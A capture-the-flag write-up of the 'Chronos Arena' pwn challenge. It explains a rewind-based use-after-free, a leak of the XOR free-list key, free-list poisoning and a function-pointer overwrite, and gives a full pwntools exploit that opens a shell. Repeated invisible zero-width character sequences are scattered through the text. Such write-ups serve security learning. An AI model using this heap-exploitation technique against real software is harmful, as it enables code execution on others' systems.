← Back to Writeups
CUSTOMMedium-Hardpwn

Warriors (Chronos Arena)

XESXOR9/2/20268 min read
#pwn#custom#medium-hard#uaf_via_state_restore#free_list_poisoning#xor_cookie_leak#oob_read_leak#oob_write_poison#arbitrary_allocation#function_pointer_overwrite#linux

Warriors (Chronos Arena)

Platform: caplag | Category: pwn | Type: Challenge | Difficulty: Medium-Hard | OS: Linux | Author: XESXOR | Date: 2026-02-22 | Status: Solved Techniques: uaf_via_state_restore, free_list_poisoning, xor_cookie_leak, oob_read_leak, oob_write_poison, arbitrary_allocation, function_pointer_overwrite

Summary

  • Server: not-web.caplag-task.ru:30566 - Binary: ELF 64-bit x86-64, dynamically linked, NOT stripped, WITH debug info - Compilation: GCC 11.4.0, Ubuntu 22.04, -O0 -fno-stack-protector

Warriors (Chronos Arena) — Caplag CTF

Description

Добро пожаловать на Арену Хроноса. Здесь воины рождаются из байтов памяти. Только Повелитель Времени может манипулировать временной линией без последствий. Сможете ли вы победить Хранителя Целостности и захватить Флаг?

  • Server: not-web.caplag-task.ru:30566
  • Binary: ELF 64-bit x86-64, dynamically linked, NOT stripped, WITH debug info
  • Compilation: GCC 11.4.0, Ubuntu 22.04, -O0 -fno-stack-protector

Analysis

Protections

ProtectionStatus
PIENo (base 0x400000)
RELRONo (GOT writable)
Stack CanaryNo
NXYes
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Menu (8 options)

  1. Spawn Warrior — allocates 0x58-byte chunk via custom allocator, copies name via strncpy
  2. Sacrifice Warrior — frees chunk, checks CRC32 integrity, clears slot
  3. Scout Warrior — reads memory at warrior+0x10+offset, offset -24..96, length 0..120 (hex without spaces)
  4. Time Rewind — restores GameState from saved snapshot (timeline anchor)
  5. Rename Warrior — writes bytes at warrior+0x10+shift, shift -16..16, length 0..80, uses fread for exact byte count
  6. Invoke Chronos Core — calls g_bridge.dispatch (global function pointer)
  7. Show Army — lists warriors
  8. Exit ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Data Structures

Warrior (0x58 = 88 bytes, heap-allocated):

+0x00: uint32_t checksum      // CRC32 of name region [0x10..0x4F]
+0x04: uint32_t pad
+0x08: uint64_t encrypted_ptr // XOR-encrypted free-list link: real_ptr ^ SECRET_COOKIE
+0x10: char name[64]          // user-controlled data (offset 0 in scout/rename)
+0x50: void (*battle_cry)()   // function pointer

ControlBridge / g_bridge (0xC8 bytes) at 0x404320:

+0x00: padding (16 bytes)
+0x10: char prologue[24]      // "chronos-core:stable-stat"
+0x28: void (*dispatch)()     // function pointer -> called by option 6
+0x30: char epilogue[24]      // "temporal-seal:intact...."

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

GameState (0xE0 bytes, on stack):

+0x00: Warrior* slots[24]     // 192 bytes — RAW HEAP POINTERS
+0xC0: uint8_t occupied[24]
+0xD8: uint64_t living_count

Key Addresses (No PIE)

SymbolAddressDescription
summon_oracle0x401CAAWIN: system("/bin/sh")
g_bridge0x404320Global ControlBridge
g_bridge.dispatch0x404348Function pointer (option 6)
TARGET_CHUNK0x404338g_bridge+0x18, so that chunk+0x10 = 0x404348
SECRET_COOKIE0x4043E8XOR key for free-list
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Custom Allocator

The binary uses a custom heap allocator (not glibc malloc) with XOR-encrypted free-list:

c
// allocator_take() — allocation
Warrior* allocator_take() {
    if (g_free_head == NULL) return malloc(0x58);
    Warrior *chunk = g_free_head;
    void *next = (void*)(chunk->encrypted_ptr ^ SECRET_COOKIE);
    g_free_head = next;
    return chunk;
}

// allocator_return() — deallocation
void allocator_return(Warrior *chunk) {
    chunk->encrypted_ptr = (uint64_t)g_free_head ^ SECRET_COOKIE;
    g_free_head = chunk;
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerabilities

1. UAF via Time Rewind (CRITICAL)

timeline_restore() copies raw heap pointers back into state->slots[] without validating them. If a warrior was freed (sacrificed) after creating a snapshot, rewind restores a dangling pointer. Meanwhile, g_free_head is a global variable not saved in the timeline, so the free-list still contains the freed chunk.

2. OOB Read in Scout (encrypted_ptr leak)

Scout allows offset from -24 to +96. With offset=-8 we read warrior+0x08 = encrypted_ptr. For the only chunk in the free-list: encrypted_ptr = NULL ^ SECRET_COOKIE = SECRET_COOKIE. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. OOB Write in Rename (encrypted_ptr overwrite)

Rename allows shift from -16 to +16. With shift=-8 we write to warrior+0x08 = encrypted_ptr. This allows replacing the next pointer in the free-list.

4. CRC32 Integrity Bypass

cmd_sacrifice checks CRC32 and calls abort() on mismatch. But cmd_rename does not update CRC32 after writing. Bypass: we never sacrifice the renamed chunk — we use rename only for UAF write, then spawn new warriors.

Solution

Goal

Overwrite g_bridge.dispatch (0x404348) with summon_oracle address (0x401CAA), then call option 6 → system("/bin/sh"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 1: Creating UAF via Time Rewind

  1. Spawn warrior 0 (name="AAAA") → timeline anchor 1 saves slot[0] = A
  2. Sacrifice warrior 0 → chunk A freed, A->encrypted_ptr = NULL ^ SECRET_COOKIE = SECRET_COOKIE
  3. Rewind to anchor 1 → slot[0] = A restored (dangling pointer!), UAF achieved

Phase 2: Leaking SECRET_COOKIE

  1. Scout warrior 0, offset=-8, length=8 → read A+0x08 = encrypted_ptr = SECRET_COOKIE

Phase 3: Free-list Poisoning

  1. Rename warrior 0, shift=-8, length=8 → write to A+0x08:
    • Value: p64(0x404338 ^ SECRET_COOKIE) — forged next pointer to g_bridge+0x18
    • Now free-list: A → 0x404338 (g_bridge+0x18) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 4: Allocation into g_bridge

  1. Spawn warrior (slot 1, name="BBBB") → allocator returns chunk A (consumes UAF)
    • g_free_head becomes 0x404338
  2. Spawn warrior (slot 2, name=p64(0x401CAA)) → allocator returns 0x404338
    • memset(0x404338, 0, 0x58) — zeroes part of g_bridge
    • strncpy(0x404348, name, 0x3F) — writes summon_oracle address to dispatch!

Phase 5: Getting Shell

  1. Invoke Chronos Core (option 6) → calls g_bridge.dispatch = summon_oracle
  2. summon_oracle() → system("/bin/sh") → SHELL! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Visualization

Free-list before poisoning:
  g_free_head → [chunk A] → NULL (encrypted)

After rename (Phase 3):
  g_free_head → [chunk A] → [0x404338 (g_bridge+0x18)] → ??? (encrypted)

After first spawn (Phase 4, step 6):
  g_free_head → [0x404338]

After second spawn (Phase 4, step 7):
  Allocation at address 0x404338:
  ┌─────────────────────────────────────────┐
  │ 0x404338: chunk base (memset zeros)     │
  │ 0x404348: name field = p64(0x401CAA)    │ ← g_bridge.dispatch OVERWRITTEN!
  │ ...                                     │
  └─────────────────────────────────────────┘

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

python
#!/usr/bin/env python3
"""
Chronos Arena - Heap Exploitation via UAF + Free-list Poisoning
CTF: caplag | Task: Warriors | Category: pwn

Vulnerability: Time Rewind restores dangling heap pointers (UAF)
Strategy:
  1. Spawn warrior -> Sacrifice -> Rewind = UAF
  2. Scout UAF chunk to leak SECRET_COOKIE from encrypted free-list pointer
  3. Rename UAF chunk to poison free-list (forge next pointer)
  4. Spawn twice: first reuses UAF chunk, second allocates at g_bridge+0x18
  5. Second spawn writes summon_oracle address into g_bridge.dispatch
  6. Invoke Chronos Core -> calls summon_oracle -> system("/bin/sh")
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

from pwn import *

# ─── Config ───────────────────────────────────────────────────────────
BINARY = "./chronos_arena"
HOST = "not-web.caplag-task.ru"
PORT = 30566

# ─── Addresses (No PIE, base 0x400000) ───────────────────────────────
SUMMON_ORACLE = 0x401CAA  # calls system("/bin/sh")
G_BRIDGE = 0x404320
G_BRIDGE_DISPATCH = G_BRIDGE + 0x28  # 0x404348 - function pointer called by option 6
# We want allocator to return chunk at G_BRIDGE + 0x18 = 0x404338
# so that chunk+0x10 = 0x404348 = dispatch pointer
TARGET_CHUNK = G_BRIDGE + 0x18  # 0x404338
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.binary = BINARY
context.log_level = "info"


def conn():
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.GDB:
        return gdb.debug(
            BINARY,
            gdbscript="""
            break *cmd_invoke_core+0x16
            break *allocator_take
            continue
        """,
        )
    else:
        return process(BINARY)


def menu_wait(io):
    io.recvuntil(b"Chronos> ")


def spawn(io, name: bytes):
    """Option 1: Spawn Warrior"""
    io.sendline(b"1")
    io.recvuntil(b"Warrior name: ")
    io.sendline(name)
    menu_wait(io)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def sacrifice(io, slot: int):
    """Option 2: Sacrifice Warrior"""
    io.sendline(b"2")
    io.recvuntil(b"Choose slot: ")
    io.sendline(str(slot).encode())
    menu_wait(io)


def scout(io, slot: int, offset: int, length: int) -> bytes:
    """Option 3: Scout Warrior - read memory
    Output format: "Vision: " then hex bytes (NO spaces) then newline
    """
    io.sendline(b"3")
    io.recvuntil(b"Choose slot: ")
    io.sendline(str(slot).encode())
    io.recvuntil(b"Scout offset (-24..96): ")
    io.sendline(str(offset).encode())
    io.recvuntil(b"Vision length (0..120): ")
    io.sendline(str(length).encode())
    io.recvuntil(b"Vision: ")
    hex_data = io.recvline().strip()
    return bytes.fromhex(hex_data.decode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def rewind(io, anchor: int):
    """Option 4: Time Rewind"""
    io.sendline(b"4")
    io.recvuntil(b"Rewind to anchor: ")
    io.sendline(str(anchor).encode())
    menu_wait(io)


def rename(io, slot: int, shift: int, length: int, data: bytes):
    """Option 5: Rename Warrior - write memory
    read_exact_payload uses fread for exact byte count.
    Send exactly `length` bytes + '\n' (consumed by fgetc post-read).
    """
    assert len(data) == length
    io.sendline(b"5")
    io.recvuntil(b"Choose slot: ")
    io.sendline(str(slot).encode())
    io.recvuntil(b"Rune shift (-16..16): ")
    io.sendline(str(shift).encode())
    io.recvuntil(b"Rune length (0..80): ")
    io.sendline(str(length).encode())
    io.recvuntil(b"Raw inscription bytes: ")
    io.send(data + b"\n")
    menu_wait(io)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def invoke_core(io):
    """Option 6: Invoke Chronos Core"""
    io.sendline(b"6")


# ─── Exploit ──────────────────────────────────────────────────────────
def exploit():
    io = conn()
    menu_wait(io)

    # ── Phase 1: Create UAF via Time Rewind ──
    log.info("Phase 1: Creating UAF via Time Rewind")
    spawn(io, b"AAAA")       # anchor 1: slot[0] = A
    sacrifice(io, 0)          # anchor 2: A freed, encrypted_ptr = SECRET_COOKIE
    rewind(io, 1)             # restore slot[0] = A (dangling!)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # ── Phase 2: Leak SECRET_COOKIE ──
    log.info("Phase 2: Leaking SECRET_COOKIE")
    leaked = scout(io, 0, -8, 8)  # read warrior+0x08 = encrypted_ptr
    secret_cookie = u64(leaked)
    log.success(f"SECRET_COOKIE = {hex(secret_cookie)}")

    # ── Phase 3: Poison free list ──
    log.info("Phase 3: Poisoning free list")
    forged_next = p64(TARGET_CHUNK ^ secret_cookie)
    rename(io, 0, -8, 8, forged_next)  # overwrite encrypted_ptr

    # ── Phase 4: Allocate at g_bridge ──
    log.info("Phase 4: Allocating at g_bridge")
    spawn(io, b"BBBB")              # consumes UAF chunk
    spawn(io, p64(SUMMON_ORACLE))    # allocates at 0x404338, writes dispatch
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # ── Phase 5: Trigger win ──
    log.success("Phase 5: Invoking Chronos Core -> shell!")
    invoke_core(io)
    io.sendline(b"cat flag.txt")
    io.interactive()


if __name__ == "__main__":
    exploit()

Notes

  • Custom allocator vs glibc: Custom allocators are often easier to exploit — no tcache double-free detection, safe-linking, or other glibc mitigations. But XOR-encrypted free-list requires leaking the key.
  • Timeline/Snapshot UAF — a pattern where undo/redo/restore mechanism doesn't invalidate heap pointers. Found in tasks with "save/load game state", "undo operation", "time travel".
  • Rename protocol: fread() for exact byte count + fgetc() for trailing newline. Send: data + b"\n" (newline consumed by fgetc).
  • TARGET_CHUNK calculation: We need chunk+0x10 (name field, where strncpy writes) to land exactly on the target function pointer. Therefore TARGET = dispatch_addr - 0x10 = 0x404348 - 0x10 = 0x404338.
  • CRC32 bypass: Rename corrupts CRC32, but sacrifice (the only function with the check) is never called on the renamed chunk. Exploit flow: rename UAF → spawn new → invoke core. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍